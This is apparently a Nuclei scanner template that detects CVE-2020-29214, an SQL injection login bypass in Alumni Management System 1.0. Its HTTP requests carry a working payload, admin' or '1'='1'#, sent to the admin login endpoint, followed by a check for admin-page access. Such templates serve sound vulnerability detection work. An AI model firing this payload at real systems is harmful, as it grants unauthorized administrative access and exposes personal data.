id: CVE-2020-29214

info:
  name: Alumni Management System 1.0 - SQL Injection
  author: arafatansari
  severity: critical
  description: |
    SourceCodester Alumni Management System 1.0 contains a sql_injection caused by unsanitized input in admin/login.php, letting attackers bypass authentication, exploit requires injection of malicious SQL payload.
  impact: |
    Unauthenticated attackers can bypass authentication through SQL injection, gaining administrative access to the Alumni Management System and access to all alumni data.
  remediation: |
    Apply vendor patches or upgrade to a patched version.
  reference:
    - https://www.exploit-db.com/exploits/48883
    - https://nvd.nist.gov/vuln/detail/CVE-2020-29214
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2020-29214
    cwe-id: CWE-89
    epss-score: 0.04499
    epss-percentile: 0.90547
    cpe: cpe:2.3:a:alumni_management_system_project:alumni_management_system:1.0:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: alumni_management_system_project
    product: alumni_management_system
  tags: cve,cve2020,sqli,auth-bypass,cms,edb,alumni,vuln

http:
  - raw:
      - |
        POST /admin/ajax.php?action=login HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        username=admin'+or+'1'%3D'1'%23&password={{rand_base(5)}}
      - |
        GET /admin/index.php?page=home HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'Welcome back Admin!'
          - 'Alumni List'
        condition: and

      - type: word
        part: body
        words:
          - '#login-form'
        negative: true

      - type: status
        status:
          - 200
# digest: 4a0a0047304502210090bb8c5191aa0f50d341382bf51bf05f376e1b1950c4478ea0d1e75418c4ae6702207d9ca6fefebc30f419aed69a1849d6bfe903ed7cd2889b62dd84aee841cba830:922c64590222798bb761d5b6d8e72950